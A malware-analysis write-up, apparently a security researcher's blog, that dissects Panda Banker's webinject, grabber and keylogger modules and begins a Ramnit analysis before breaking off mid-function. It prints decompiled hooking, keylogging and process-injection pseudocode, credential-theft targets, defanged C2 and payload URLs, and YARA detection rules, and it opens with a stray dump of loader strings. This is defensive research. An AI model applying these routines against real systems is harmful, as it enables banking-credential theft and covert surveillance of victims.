[%s:%u] IsElevated = %u, IntegrityLevel = %u
Ldr2GetLoaderModule
[%s:%u] A startup module of %u bytes is received
[%s:%u] Invalid STARTUP module is supplied
[%s:%u] Failed to load a STARTUP module, error %u
Ldr2SaveModulesToRegistry
[%s:%u] Error 0x%X writing value "%S" of key "%S"
[%s:%u] Error 0x%X creating 0x%X hive subkey: "%S"
Ldr2SaveAllModules
[%s:%u] Error %u writing 64-bit modules to the key "%S"
[%s:%u] Error %u writing 32-bit modules to the key "%S"
[%s:%u] Error %u creating hive 0x%X key "%S"
Ldr2MakeRunRecord
[%s:%u] Not enough memory (%u)
Ldr2RegEnumCallback
[%s:%u] Error %u writing autorun value of "%S"
[%s:%u] Error %u writing startup script to the regstry value: "%S\%S"
[%s:%u] Error %u saving all module to key: "%S"
Ldr2MakeEncodedImage
[%s:%u] Invalid PE/PEX module BL.DLL
[%s:%u] BlExecuteDllImage() export is not found
[%s:%u] Invalid PE/PEX module size of BL.DLL
ReplaceSubStr
Ldr2SetupModules
[%s:%u] Integrity level: 0x%x, required elevation
[%s:%u] Elevation failed
[%s:%u] Loading a startup module
[%s:%u] Waiting for %u seconds
[%s:%u] Walking through the registry
[%s:%u] Walking through the registry failed, error %u
[%s:%u] Failed to make a startup script, error %u
[%s:%u] Restarting the loader executable from "%S"
[%s:%u] Successfully restarted
[%s:%u] Failed to restart the loader executable, error %u
Ldr2LoadModules
[%s:%u] An empty page received, exiting the loader
[%s:%u] Error %u(0x%X) downloading module 0x%X of %u
Ldr2DisableIeDialogs
[%s:%u] Error 0x%X writing key value: "%S\%S"
Ldr2LoaderMain
[%s:%u] Staying idle for %u seconds
[%s:%u] Main loop is active, loading modules
[%s:%u] Main loop is ended. %u modules are loaded, status: %u
[%s:%u] The shutdown event fired or an error occured, exiting
[%s:%u] Error %u creating the main loop timer

Let’s Learn: Dissecting Panda Banker & Modules: Webinject, Grabber & Keylogger DLL Modules

Goal: Reverse engineer the latest Panda Banker malware and detail the modules associated with the popular malware. The research aims to  fill researcher gaps with the detailed information related to Panda modules and their detection.

https://platform.twitter.com/widgets.js Source
Panda Loader packed (MD5: 97820f5167ede76dc466efdd239a5ba4)
Panda Core unpacked(MD5: 08124df7f51280af3c99360e0a80e9c8)
Panda LibInject x86 (32-bit) DLL Module “libinject.dll” (MD5: eb92c528455f5b14dd971e7126f6271f)
Panda Grabber x86 (32-bit) DLL Module “grabber.dll” (MD5:  b830680a74a9fb0e71a59df57ab36f3d)
Panda Keylogger x86 (32-bit) Module “keylogger32.dll” (MD5: 487e09c2da9e59fbc7f0690bf08a7a7e)
Panda Webinject x86 (32-bit) DLL Client (MD5: c310165d1a438031d7781eb623f64872)
Outline:

I. Background
II. Panda Webinject x86 (32-bit) DLL Client
III. Hooking Engine: "MinHook"-like Library
IV. Panda x86 (32-bit) "grabber.dll" Module
V. Panda x86 (32-bit) "keylogger32.dll" Module: RAWINPUT
VI. Yara Signature
A. Panda Grabber Module
B. Panda Keylogger Module
C. Panda Webinject Client
VII. Appendix
A. Dynamic Configuration
B. Panda Command-and-Control Server
C. Hooked APIs

Analysis:
I. Background
Panda Banker is an information-stealing malware that leverages various methods to steal data from compromised machines including webinjects to steal financial credentials and keylogger module for intecepting keys.
GDATA previously extensively covered the Panda Banker main functionality, including  but not not limited to its extensive anti-analysis techniques. I highly recommend reading this paper before learning more about Panda. 
Panda is a known Zeus banker derivative and shares significant code overlap with the original leaked Zeus 2.0.8.9. By and large, Panda banker remains to be one of the most popular banking malware available on the crimeware scene that is available for sale for $7,500 USD in its basic functionality.
Some of the advertised capabilities  are as follows:

Formgrabber for Internet Explorer (IE), Chrome, and Firefox
Grabber for screenshots, passwords, cookies, certifications,
credit cards
POP3/FTP
File Search
SOCKS support
Virtual Network Computing (VNC)
Injects

Previously, I extensively covered its injection technique as part of the Panda banker libinject.dll leveraging “AcInitialize” and “AdInjectDll” export functions. ZwWow64QueryInformationProcess64-ZwWow64ReadVirtualMemory64 are used for searching NTDLL in PEB, then for searching API addresses required for work of injecting DLL module (x32/x64) which is being located in AP “svchost” by using NtCreateSection-NtMapViewOfSection-NtUnmapViewOfSection ResumeThread-Sleep-SuspendThread are used for unmapping and injecting the payload into the main thread.

  • AcInitialize: size_t function type that initializes the structures necessary for the injection export function.
  • AdInjectDll: DWORD function type that performs the process injection with the argument with the desired process ID (PID) as an argument of the DWRD type.
II. Panda Webinject x86 (32-bit) Client
Panda banker stores both local and dynamic configuration in JavaScript format that used for command-and-control and subsequent communications. The local configuration is as follows of the exe type that is used in conjunction with the stored public key:

///////////////////////////////////////////////////
///////////// Basic Panda URL config //////////////
///////////////////////////////////////////////////
"generated_url":["47[.]com/rcfig.dat", "98[.]net/rcfig.dat","10[.]net/rcong.dat",
"98[.]net/vgt.dat"]

The dynamic configuration is parsed for the following values:

//////////////////////////////////////////////////////////////////////////
/////////////////////// Panda ParseDynamicConfig *shortened //////////////
//////////////////////////////////////////////////////////////////////////
void *__cdecl parse_dynamic_config(int a1)
{
const char *grab_value;

grab_value = 0;
switch ( a1 )
{
case 0:
grab_value = "created";
break;
case 1:
grab_value = "botnet";
break;
case 2:
grab_value = "check_config";
break;
case 3:
grab_value = "send_report";
break;
case 4:
grab_value = "check_update";
break;
case 5:
grab_value = "url_config";
break;
case 6:
grab_value = "url_webinjects";
break;
case 7:
grab_value = "url_update";
break;
case 8:
grab_value = "url_plugin_vnc32";
break;
case 9:
grab_value = "url_plugin_vnc64";
break;
case 10:
grab_value = "url_plugin_vnc_backserver";
break;
case 11:
grab_value = "url_plugin_grabber";
break;
case 12:
grab_value = "url_plugin_backsocks";
break;
case 13:
grab_value = "url_plugin_backsocks_backserver";
break;
case 14:

Additionally, the bot checks machine software and runs various WMI queries to populate the data about the infected machine such as:

Select * from AntiVirusProduct
Select * from AntiSpywareProduct
Select * from FirewallProduct

The bot also generates information object about the infected machine. The elongated version is as follows:

//////////////////////////////////////////////////
///////////// Elongated Panda BotInfo ////////////
//////////////////////////////////////////////////
"BotInfo": {
"systime": UNIX,
"process": "svchost.exe",
"user": "MACHINE",
"id": "BOT",
"botnet": "2.6.9",
"version": "2.6.10",
"os": {
"version": INT,
"sp": INT,
"build": INT,
"bit": INT,
"server": INT,
"lang": INT,
"explorer": INT
"File":
"name": "webinjects.dat",
"antivirus": DWORD,
"antispyware": DWORD.
"firewall": DWORD,
}
Panda injects its main bot after the successful infection to hook various browser API, TranslateMessage, and GetClipboardData. The main injected contains 354 functions.
The main injected bot INT-type function is as follows: 

//////////////////////////////////////////////////////////////////////////
///////////////////////// Panda MainInject Function //////////////////////
//////////////////////////////////////////////////////////////////////////
int Panda_main_inject()
{
int result;
HMODULE user32_1;
HMODULE user32;

result = Hook_Initialize();
if ( !result )
{
Addend = 0;
dword_1001047C = (int)sub_10006122;
user32_1 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)TranslateMessage_0 = GetProcAddress(user32_1, "TranslateMessage");
dword_10010488 = (int)sub_10006077;
user32 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)GetClipboardData = GetProcAddress(user32, "GetClipboardData");
hook_main_entrance((int)TranslateMessage_0, 2u);
hook_ie();
hook_firefox();
hook_wsa_chrome_check_opera();
result = EnableHook(0);
}
return result;
}

III. Hooking Engine: “MinHook”-like Library

Panda Banker utilizes a “MinHook”-like hooking engine to hook various API of interest. MinHook is a known minimalistic x86/x64 API hooking library for Windows that is leveraged by various banking malware (most notoriously, TinyNuke banker) to hook various browser API for information-stealing purposes.
For example, Panda uses this routine to enable hooks for Mozilla Firefox browser API calls PR_Close, PR_Read, PR_Write, and PR_Poll from nss3.dll.

The CreateHook function sequence is as follows:

The CreateHook function sequence -> “EnterSpinLock” (via InterlockedCompareExchange API call) -> checks if “IsExecutableAddress” (via VirtualQuery API call with Buffer.State and Buffer.Protect check for executable)  -> “FindHookEntry” (DWORD entry) -> “AllocateBuffer” (via VirtualAlloc API call) -> “CreateTrampolineFunction” ->  if not entry “AddHookEntry” -> “FreeBuffer” -> “LeaveSpinLock”.
By and large, the Panda hooking engine works by replacing the prologue of the targeted API call with the unconditional JMP to the detour function.
Panda enables its hooks as as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
The pseudo-coded C++ EnableHook function is as follows:

//////////////////////////////////////////////////////////////////////////
///////////////////////// Panda EnableHook Function //////////////////////
//////////////////////////////////////////////////////////////////////////
signed int __fastcall Panda_EnableHook(int a1, int patch_above)
{

hook_entry = patch_above;
v3 = lpMem + 44 * a1;
patchSize = 5;
v10 = patch_above;
dwSize = 5;
v5 = (*(_BYTE *)(v3 + 20) & 1) == 0;
pPatchTarget = *(_WORD **)v3;
v13 = *(_WORD **)v3;
if ( !v5 )
{
pPatchTarget = (_WORD *)((char *)pPatchTarget - 5);
patchSize = 7;
v13 = pPatchTarget;
dwSize = 7;
}
if ( VirtualProtect(pPatchTarget, patchSize, 0x40u, &flOldProtect) )
{
if ( hook_entry )
{ // enable hook
*(_BYTE *)pPatchTarget = 0xE9u; // jump relative opcode 0xe9
*(_DWORD *)((char *)pPatchTarget + 1) = *(_DWORD *)(v3 + 4) - (_DWORD)pPatchTarget - 5;
if ( *(_BYTE *)(v3 + 0x14) & 1 )
**(_WORD **)v3 = 0xF9EBu;
}
else if ( *(_BYTE *)(v3 + 0x14) & 1 )
{
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 0xC);
v8 = (int)(pPatchTarget + 2);
*(_WORD *)v8 = *(_WORD *)(v3 + 0x10);
*(_BYTE *)(v8 + 2) = *(_BYTE *)(v3 + 0x12);
pPatchTarget = v13;
}
else
{
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 12);
*((_BYTE *)pPatchTarget + 4) = *(_BYTE *)(v3 + 16);
}
VirtualProtect(pPatchTarget, dwSize, flOldProtect, &flOldProtect);
v9 = GetCurrentProcess();
FlushInstructionCache(v9, pPatchTarget, dwSize);
result = 0;
*(_BYTE *)(v3 + 20) = 4 * (v10 & 1) | (*(_BYTE *)(v3 + 20) & 0xFD | 2 * (v10 & 1)) & 0xFB;
}
else
{
result = 10;
}
return result;
}

IV. Panda x86 (32-bit) “grabber.dll” Module
Panda leverages and injects into svchost.exe the module called internally “grabber.dll.” This module contains 336 functions.

The module designed to steal stored information from various software applications as as well as delete it as necessary in order to force the victim to enter it again to be stolen by the malware.

Name Address Ordinal
DeleteCache 10003E10 1
DeleteCookies 10003E4A 2
DeleteFlash 10003E89 3
GrabCertificates 10004D7B 4
GrabCookies 10004DDB 5
GrabFlash 10005106 6
GrabForms 10005139 7
GrabPasswords 100053C9 8
GrabSoftList 100054CD 9
DllEntryPoint 1000118A [main entry]

The brief outline of all the functions is as follows:
A. “GrabSoftList” function (ordinal 9) as temporarily stored “softlist.txt”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys “UninstallString” and “DisplayName” via RegEnumKeyExW API to obtain a list of installed software
B. “GrabCertificates” function (ordinal 4) 
Panda opens the so-called “certificate store” to query for certificates via the following API calls: 

  • CertOpenSystemStoreW
  • CertEnumCertificatesInStore
  • PFXExportCertStoreEx(…, &pPFX, L”password”, 0, 4)
  • GetSystemTime
  • CertCloseStore

The malware stores the cerificafres in the following format:
certs\\%s\\%s_%02u_%02u_%04u.pfx (pPFX.pbData, pPFX.cbData)
C. “GrabCookies” function (ordinal 5) as temporarily stored cookies.txt
Panda grabs cookies from the following browser grab calls:

  • InternetExplorerGetCookies (local search as “*.txt” in APPDATA\Low)
  • MicrosoftEdgeGetCookies (local search as Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe)
  • FirefoxGetCookies (local search as Mozilla\Firefox for “cookies.sqlite”)
  • ChromeGetCookies (local search as Google\Chrome for “cookies”)
  • OperaGetCookies (local search as Opera Software for “cookies”)

D. “GrabForms” function (ordinal 7) as temporarily “autoforms.txt”
The malware steals stored form data from browser application as follows:

  • Internet_Explorer -> registry “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\FormData”
  • Google Chrome ->  “Google\Chrome” for “web data”
  • Mozilla Firefox -> “Mozilla\Firefox” for “formhistory.sqlite”
  • Opera -> “Opera Software” for “web data”

E. GrabFlash” function (ordinal 6)
Panda grabs Flashplayer persistent cookie information in 
“APPDATA Macromedia\Flash Player” for “*.sol” and “flashplayer.cab.”
F. “GrabPasswords” function (ordinal 8) as temporarily  “passwords.txt”
The malware steals passwords from the following software:

InternetExplorer 
Mozilla Firefox (registry parser method)
Google Chrome (local file searcher)
Opera (local file searcher)
Microsoft Outlook (registry parser method)
Windows LiveMail(registry parser method)
Thunderbird (registry parser method)
FireFTP (registry parser method)
WinSCP (registry parser method)
TotalCommander (registry and local parser method)
FileZilla (registry parser method)
CuteFTP (registry and local parser method
)

For example, the malware steals Internet Explorer passwords via 
multiple methods:

  • Grabs passwords via “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2” for stored autocomplete Internet Explorer credentials.
  • Enumerates the credentials using the CredEnumerateW API while filtering with “Microsoft_WinInet_.” The credentials are then decrypted using CryptUnprotectData in conjunction with the GUID “abe2869f-9b47-4cd9-a358-c22904dba7f7” as the decryption salt.
  • Leverages Windows Vault API to enumerate and extract credentials stored by Microsoft Windows Vault. 

The stolen information is stored as follows:
“Soft: %s\tType: %s\tHost : %S\tUser : %S\tPass : %S\r\n”
G. “DeleteFlash,” “DeleteCookies,” and “DeleteCache” functions (ordinal 3, 2, 1 respectively)
Panda leverages these functions to remove and reset various cached and stored credentials and force the victim to enter them again with the goal to intercept them at the point of victim reentry of them.
V. Panda x86 (32-bit) “keylogger32.dll” Module: RAWINPUT Method
The malware also deploys a custom keylogger32.dll module to steal keyed data as well as to grab screenshots and intercept copied clipboard data leveraging “RAWINPUT” method.

The following exports as used as part of the module:
Name Address Ordinal
LoggerStart 1000209B 1
LoggerStop 1000216B 2
DllEntryPoint 10001105 [main entry]
The main function “LoggerStart” launched keylogger process via a separate thread. The thread sets up execution via CreateWindowExW with lpfnWndProc as a pointer to its function that processes window messages. The very similar keylogger method is described here.
By and large, the keylogger creates the the invisible message only window with the pseudorandom lpszClassName value generated as follows leveraging __rdtsc call (the processor time stamp, which represents the number of clock cycles since the last reset):

/////////////////////////////////////////
// Panda Keylogger Generate ClassName //
/////////////////////////////////////////
v1 = dword_1000522C;
v2 = 0;
do
{
if ( !v1 )
{
v3 = __rdtsc();
v1 = v3;
}
v1 = 214013 * v1 + 2531011;
lpcClassName[v2++] = ((v1 >> 16) & 32767ui64) % 25 + 97;
}

Ultimately, the keylogger passes only the bear minimum values to create an invisible “Message Only Window” as follows:

  • CreateWindowExW(0, v7.lpszClassName, 0, 0, 0, 0, 0, 0, HWND_MESSAGE, 0, v7.hInstance, 0)

Panda uses RegisterRawInputDevices function to register and record calls. The first parameter points to the array of RAWINPUTDEVICE structs.  the GetRawInputData first parameter is a handle to the RAWINPUT structure from the device, whose members are, due to usUsagePage=1 (generic desktop controls)and usUsage=6 (keyboard).
The pressed keys of intereest are processed with MapVirtualKey and translated to characters and saved to a file later.

//////////////////////////////////////// 
//////// Panda Keylogger KeyProcessor //
////////////////////////////////////////
GetWindowTextW_0((int)&v13, v2);
v13 = 0;
v4 = GetWindowThreadProcessId(v2, 0);
dwhkl = GetKeyboardLayout(v4);
v5 = GetCurrentThreadId();
AttachThreadInput(v4, v5, 1);
GetKeyboardState(&KeyState);
v6 = GetCurrentThreadId();
AttachThreadInput(v4, v6, 0);
switch ( uCode )
{
case 8u:
v10 = wsprintfW(&v14, L"[BACKSPACE]");
break;
case 9u:
v10 = wsprintfW(&v14, L"[TAB]");
break;
case 0xDu:
v10 = wsprintfW(&v14, L"[ENTER]");
break;
case 0x1Bu:
v10 = wsprintfW(&v14, L"[ESC]");
break;
case 0x20u:
v10 = wsprintfW(&v14, (LPCWSTR)" ");
break;
default:
v7 = dwhkl;
v8 = MapVirtualKeyExW(uCode, 0, dwhkl);
v9 = v8;
if ( uCode >= 33 && (uCode <= 40 || uCode > 44 && (uCode <= 46 || uCode == 111 || uCode == 144)) )
v9 = v8 | 0x100;
memset(&Dst, 0, 64u);
if ( ToUnicodeEx(uCode, v9, &KeyState, (LPWSTR)&Dst, 32, 0, v7) <= 0 )
{
if ( GetKeyNameTextW((unsigned __int16)v9 << 16, (LPWSTR)&Dst, 32) <= 0 )
return;
v10 = wsprintfW(&v14, L"[%s]", &Dst);
}
else
{
v10 = wsprintfW(&v14, L"%s", &Dst);
byte_10005198 = 0;
}
break;
}
if ( v10 )
Clipboard_wsprintf((int)&v13);
}
}

Additionally, the malware steals copied clipboard data via sequence of OpenClipboard, GetClipboardData, and  SetClipboardViewer  API calls receiving a WM_DRAWCLIPBOARD. The stolen data is stored in the following format with the timestamp:

  • L”\r\n[Clipboard || %s]\r\n”

It is also notable the keylogger malware also has capabilities to JPEG screenshots via the usual GDI library DLL.

VI. Yara Signature
A. Panda Grabber Module
import "pe"

rule crime_win32_panda_banker_grabber_dll {
meta:
description = "Detects Panda Banker grabber.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "7f85d26b4eb5f704544e2d1af97100f6e3a71b866d4ae2375cc3bbbac2a3f9c9"
strings:
$s1 = "Grabber: OutlookReadPassword - unsupported password type" fullword wide
$s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" fullword wide
$s3 = "Grabber: OperaGetCookies - ok" fullword wide
$s4 = "Grabber: GrabTotalCommander - ok" fullword wide
$s5 = "grabber.dll" fullword ascii
$s6 = "Pstorec.dll" fullword wide
$s7 = "SMTP Password" fullword wide
$s8 = "Grabber: GrabPasswords - ok" fullword wide
$s9 = "Grabber: FirefoxGetCookies - ok" fullword wide
$s10 = "Grabber: IEGetCookies - ok" fullword wide
$s11 = "Grabber: ChromeGetCookies - ok" fullword wide
$s12 = "Grabber: EdgeGetCookies - ok" fullword wide
$s13 = "webdav.tappin.com" fullword ascii
$s14 = "passwords.txt" fullword wide
$s15 = "fireFTPsites.dat" fullword wide
$s16 = "certs\\%s\\%s_%02u_%02u_%04u.pfx" fullword wide
$s17 = "Grabber: FirefoxGetCookies - called" fullword wide
$s18 = "Grabber: GrabCuteFTP - ok" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "8031528b770e1d9f25f2e64511835e27" and pe.exports("DeleteCache") and pe.exports("DeleteCookies") and pe.exports("DeleteFlash") and pe.exports("GrabCertificates") and pe.exports("GrabCookies") and pe.exports("GrabFlash") and
( 8 of them )
) or ( all of them )
}

B. Panda Keylogger Module

import "pe"

rule crime_win32_panda_banker_keylogger_dll {
meta:
description = "Detects Panda Banker keylogger.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "99d116c1e3defb75ebde30e5fcca9a78e16889cde3025823a106ed741fad711c"
strings:
$x1 = "keylogger32.dll" fullword ascii
$s2 = "%s%4d-%02d-%02d_%02d-%02d-%02d-%04d.jpg" fullword ascii
$s3 = "LoggerStart" fullword ascii
$s4 = "LoggerStop" fullword ascii
$s5 = ":,:6:R:\\:" fullword ascii

condition:
( uint16(0) == 0x5a4d and
filesize < 40KB and
pe.imphash() == "8c964d45bdb5d28ad0f6d7e92b0efea0" and pe.exports("LoggerStart") and pe.exports("LoggerStop") and
( 1 of ($x*) or all of them )
) or ( all of them )
}

C. Panda Webinject Client

import "pe"

rule crime_win32_panda_banker_webinject_dll_client {
meta:
description = "Detects webinject Panda DLL client"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "6a7ec42e06446d8133e4e6838042a38f6198b54b3664fe6bb4df25537493c2f8"
strings:
$s1 = "opera_browser.dll" fullword wide
$s2 = "microsoftedgecp.exe" fullword wide
$s3 = "microsoftedge.exe" fullword wide
$s4 = "webinjects" fullword ascii
$s5 = "grabbed\\%S_%02u_%02u_%02u.txt" fullword wide
$s6 = "HTTP authentication: username=\"%s\", password=\"%s\"" fullword wide
$s7 = "url_plugin_keylogger" fullword ascii
$s8 = "url_plugin_webinject64" fullword ascii
$s9 = "url_plugin_webinject32" fullword ascii
$s10 = "testinject" fullword ascii
$s11 = "url_webinjects" fullword ascii
$s12 = "webinject%ddata" fullword ascii
$s13 = "screen_process" fullword ascii
$s14 = "notify_process" fullword ascii
$s15 = "keylog_process" fullword ascii
$s16 = "list_blockedinjects" fullword ascii
$s17 = "screenshots\\%s\\%04x_%08x.jpg" fullword wide
$s18 = "HTTP authentication (encoded): %S" fullword wide
$s19 = "inject_vnc" fullword ascii
$s20 = "X-Content-Security-Policy" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "c06f3ba3522256a0075a0d89fb44cd42" and
( 8 of them )
) or ( all of them )
}

VII. Appendix

A. Dynamic Configuration
{
"botnet": "2.6.9",
"check_config": 327685,
"send_report": 327685,
"check_update": 327685,
"url_config": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.dat",
"url_webinjects": "hXXps://uiaoduiiej.chimkent[.]su/webinjects.dat",
"url_update": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.exe",
"url_plugin_webinject32": "hXXps://uiaoduiiej.chimkent[.]su/webinject32.bin",
"url_plugin_webinject64": "hXXps://uiaoduiiej.chimkent[.]su/webinject64.bin",
"remove_csp": 1,
"inject_vnc": 1,
"url_plugin_vnc32": "hXXps://uiaoduiiej.chimkent[.]su/vnc32.bin",
"url_plugin_vnc64": "hXXps://uiaoduiiej.chimkent[.]su/vnc64.bin",
"url_plugin_vnc_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_backsocks": "hXXps://uiaoduiiej.chimkent[.]su/backsocks.bin",
"url_plugin_backsocks_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_grabber": "hXXps://uiaoduiiej.chimkent[.]su/grabber.bin",
"grabber_pause": 1,
"grab_softlist": 1,
"grab_pass": 1,
"grab_form": 1,
"grab_cert": 1,
"grab_cookie": 1,
"grab_del_cookie": 0,
"grab_del_cache": 0,
"url_plugin_keylogger": "hXXps://uiaoduiiej.chimkent[.]su/keylogger.bin",
"keylog_process": "ZmlyZWZveC5leGUAY2hyb21lLmV4ZQBpZXhwbG9yZS5leGUAb3BlcmEuZXhlAAA=",
"screen_process": "cHV0dHkuZXhlAAA=",
"reserved": "JxZpa8bZHbYkIIvhyEd1cVZ/nS6URxD5wnvrDNiAjyi3xnWW8S8q9f/0ap+7kLHnW4XhNudnwRRizwE="
}

B. Panda Command-and-Control: 

urimchi3dt4[.]website

C. Hooked APIs

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Hooked API:
Internet Explorer (wininet.dll):
HttpSendRequestW
HttpSendRequestA
HttpSendRequestExW
HttpSendRequestExA
InternetReadFile
InternetReadFileExA
InternetReadFileExW
InternetQueryDataAvailable
InternetCloseHandle
HttpOpenRequestA
HttpOpenRequestW
HttpQueryInfoA
InternetConnectA
InternetConnectW
InternetWriteFile

Mozilla Firefox (nss3.dll):
PR_Close
PR_Read
PR_Write
PR_Poll

Google Chrome (chrome.dll):
SSL_read
SSL_write

Winsock 2 (ws2_32.dll):
closesocket
WSASend
WSARecv
recv

user32.dll:
TranslateMessage
GetClipboardData

Let’s Learn: Diving into the Latest "Ramnit" Banker Malware via "sLoad" PowerShell

Goal: In-depth reverse engineering of the latest Ramnit banker from “sLoad” PowerShell malware. The focus of the analysis is on the Ramnit banker core functionality, its hooking engine, webinjects, process injection, and main configuration.

https://platform.twitter.com/widgets.js Malware:
Original Loader (436aaa1014e8528ed72c89c4bf74d14c
rmnsoft.dll (304772c80b157a916c7041f2f15939fb)
hooker2 (625db8cd9536c91f5ee044c318a80fec)
 -> x86 injected bot (73c95a2a9c9348f0b65de23a17f1790c)
 -> x64 injected bot (f836f4949483071d80b59d47d8ce2bd9)

Background:
For while, I have been observing an interesting combination of sLoad  PowerShell loader and the Ramnit banker malware targeting customers of Italian and United Kingdom financial institutions. In one of the most recent campaigns, Ramnit was distributed via sload. The chain is very interesting on its own and includes including PowerShell loader with slightly modified PowerShell empire “invoke-ReflectivePEInjection,” certutil, and wscript execution. The malware chain is available to review at Any App Run.
Ramnit is one of the oldest bankers on the financial cybercrime ecosystem dating back to 2010. Originally, started as a worm spreader, the malware acquired the banker capabilities after its developers adopted the leaked Zeus source code 2.0.8.9 converting it into a full-fledged banking Trojan. 
Ramnit banker somehow survived the Europol takedown in 2015 and remained active since 2016. It is notable, however, with the disappearance of the Ramnit version known as “demetra,” which was  distributed via Rig Exploit Kit and “Seamless” gate
The latest campaigns leverage a Ramnit version adding LUA webinject-style as well relying on screenshot capturing functionality for account takeover fraud (ATO).
Outline: 

I. Ramnit Main DLL "rmnsoft.dll"
A. Main Bot Configuration
B. Ramnit Domain Generation Algorithm (DGA)
II. Ramnit Webinject DLL "hooker2.dll"
A. Browser Setting "Relax" and Inject Setup
B. Process Injection: Resource "BIN" x86 or x64
III. x86/x64 Injected Bot
A. Ramnit Hooking Engine
B. Ramnit Anti-Rapport
C. LUA Webinject Structure
V. Yara Signatures
A. Yara: Ramnit Main DLL "rmnsoft.dll"
B. Yara: Ramnit Webinject DLL "hooker2.dll" (With Resource x86 and x64 Bot)
VI. Appendix
A. Ramnit Hooked API
B. LUA Webinject
C. Ramnit DGA Code (Pseudo) in Python

Analysis:
I. Ramnit Main DLL “rmnsoft.dll”
The main module of the Ramnit banker is called internally “rmnsoft.dll.” This module is responsible for execution of various commands and essentially remained unchanged for the past 6 years. It is well-documented by various researchers. The module also used for central communication between other modules and Ramnit core thread execution. 
The module contains the following exports:

  • _CryptoCheckSignMessage@24
  • Start
  • Stop
Command Name Type Description
getexec command_type=1 Download, save, and launch an executable file from a URL given by the Ramnit Command-and-Control (C2) infrastructure.
kos command_type=2 Kill operating system or shut down the system via ntdll.dll:NtShutdownSystem and ExitWindowsEx
screen command_type=3 Take screenshots and save it locally via Gdiplus.dll and GdipSaveImageToStream
update command_type=4 Download the latest Ramnit malware from the C2
cookies command_type=5 Retrieve local cookies from Windows Internet Explorer, Firefox, Opera, Safari, Chrome, Flash SOL
removecookies command_type=6 Delete cookies from the system in order to force the victim to log in again and collect the data

A. Main Bot Configuration
Following reported CERT.PL Ramnit structure outlined in the blog, this specific Ramnit has the main configuration as follows:

Config Value
botnet_name ‘23.04_443’
rc4_key ‘fB1oN5frGqf’
md5_magic ‘fE4hNy1O’
dga_seed ‘2538799770’
dga_no ‘100’
port ‘443’
hardcoded_domain ‘heoxhliqbug[.]eu’
dga_tlds ‘.eu’

The malware communicates to the command and control server leveraging the hardcoded MD5: ‘f054bbd2f5ebab9cb5571000b2c50c02′ for data structucture as part of the check-in.  
B. Ramnit Domain Generation Algorithm (DGA)
All the DGA structs are present in the beginning .data section as reported. The domain generation algorithm involves only one “.eu” top level domain (TLD) with the unchanged rest of the other logic as reported by CERT.PL. Ramnit leverages linear congruential generator (LCG) for pseudo-random generation (thanks to @nazywam for the previous coverage!).
The pseudo-coded C++ DGAdomain function is as follows:

int __stdcall dga_add_domain_eu(int dga_seed, LPSTR lpString1)
{
LCG_DGA(dga_seed, 12u);
v6 = v2;
v3 = lpString1;
do
*v3++ = LCG_DGA(v2, 25u) + 'a';
while ( v4 != 1 );
*v3 = 0;
lstrcatA(lpString1, a_eu); // ".eu"
return (v6 * (unsigned __int64)(unsigned int)dga_seed >> 0x20) + v6 * dga_seed;
}

The “rmnsoft.dll” also reaches out to the following domains to check connectivity:

-> ‘websearch[.]com:80’
-> ‘info[.]com:80’
-> ‘baidu[.]com:80’
II. Ramnit Webinject DLL “hooker2.dll” 
The main module responsible for process injection and hooking of various browser APIs is called internally “hooker2.dll.” The exports are as follows:
Ordinal
Export
00000001
CommandRoutine
00000002
ModuleCode
00000003
StartRoutine
00000004
StopRoutine
It is notable, however, that the unpacked version contains two resources with the original language artifacts set up to “Russian.”
Resource Type
Name
Signature
Bit
Language
BIN
102
Executable
(cpu: 32-bit)
Russian
BIN
103
Executable
(cpu: 64-bit)
Russian
Primarily, this module is responsible for editing and disabling protected browser settings and injecting a 32-bit or 64-bit payload into the browser.
A. Browser Setting “Relax” and Inject Setup
The process injection functions targets four browsers from Microsoft Edge to Google Chrome.
 The pseudocoded C++ function is as follows:

////////////////////////////////////////////////////////////////////
//////////////////// Ramnit Main Browser Setup and Injection ///////
////////////////////////////////////////////////////////////////////
char __thiscall process_injection_main(char *this, int a2)
{

v3 = 0;
v4 = this;
dwProcessId = 0;
func6(&StartupInfo.lpReserved, 0, 64);
StartupInfo.cb = 68;
ProcessInformation = 0i64;
func6(&pszPath, 0, 260);
v5 = GetShellWindow();
GetWindowThreadProcessId(v5, &dwProcessId);
v6 = func_str_iter((int **)v4, (char *)(a2 + 36));
if ( !v6 )
return v3;
if ( v6 == 2 )
{
if ( MicrosoftEdge_processfinder(v2) )
{
SHGetSpecialFolderPathA(0, &pszPath, 38, 0);
lstrcatA(&pszPath, "\\Internet Explorer\\iexplore.exe");
// Create process with CREATE_SUSPENDED flag

if ( CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation) )
{
v8 = ProcessInformation.dwProcessId;
*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId;
if ( write_process_inj(v8, 0xF36BAC23, 0) )
{
v3 = 1;
Sleep(2000u);
LABEL_22:
set_thread_exec(v7, *(_DWORD *)(a2 + 8));
return v3;
}
}
}
return v3;
}
if ( v6 == 4 )
return v3;
if ( v6 == 1 )
{
LABEL_21:
v3 = 1;
goto LABEL_22;
